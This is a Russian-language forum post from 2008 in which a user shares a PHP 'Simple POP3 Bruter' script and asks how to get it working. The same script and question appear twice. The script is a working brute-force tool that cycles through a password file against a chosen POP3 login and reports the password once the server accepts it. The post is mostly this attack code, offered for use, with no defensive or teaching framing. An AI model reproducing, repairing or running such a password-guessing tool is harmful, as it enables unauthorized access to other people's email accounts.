Olegros911
25.05.2008, 17:33
<?
/*
Simple POP3 Bruter v 0.2
30/05/05 (с) drmist
*/
$port=110;
$host='сервер ір';
$login='логин';
$passwords="passwords.txt";
set_time_limit(0);
$FID=fopen($passwords,"r");
while(!feof($FID))
{
$pass=str_replace("\r","",fgets($FID));
$pass=str_replace("\n","",$pass);
echo "$pass<br>\r\n";
flush();
$s=fsockopen($host, $port);
if(!$s)
die("Не могу соединиться <b>[$host:$port]</b>!");
$line=fread($s, 256);
if(!ereg("\+OK(.*)",$line))
die("Хрень какая-то. Ты точно на pop сервер коннектишься?");
fputs($s,"USER $login\r\n");
$line=fread($s, 256);
if(ereg("-ERR(.*)",$line))
die("Неверный логин <b>$login</b>!");
fputs($s,"PASS $pass\r\n");
$line=fread($s, 256);
if(!ereg("-ERR(.*)",$line))
die("Пароль найден: <b>$pass</b>!");
fclose($s);
}
echo "Работа завершина. Пароль не найден =((";
?>
как заставить работать
/*
Simple POP3 Bruter v 0.2
30/05/05 (с) drmist
*/
$port=110;
$host='сервер ір';
$login='логин';
$passwords="passwords.txt";
set_time_limit(0);
$FID=fopen($passwords,"r");
while(!feof($FID))
{
$pass=str_replace("\r","",fgets($FID));
$pass=str_replace("\n","",$pass);
echo "$pass<br>\r\n";
flush();
$s=fsockopen($host, $port);
if(!$s)
die("Не могу соединиться <b>[$host:$port]</b>!");
$line=fread($s, 256);
if(!ereg("\+OK(.*)",$line))
die("Хрень какая-то. Ты точно на pop сервер коннектишься?");
fputs($s,"USER $login\r\n");
$line=fread($s, 256);
if(ereg("-ERR(.*)",$line))
die("Неверный логин <b>$login</b>!");
fputs($s,"PASS $pass\r\n");
$line=fread($s, 256);
if(!ereg("-ERR(.*)",$line))
die("Пароль найден: <b>$pass</b>!");
fclose($s);
}
echo "Работа завершина. Пароль не найден =((";
?>
как заставить работать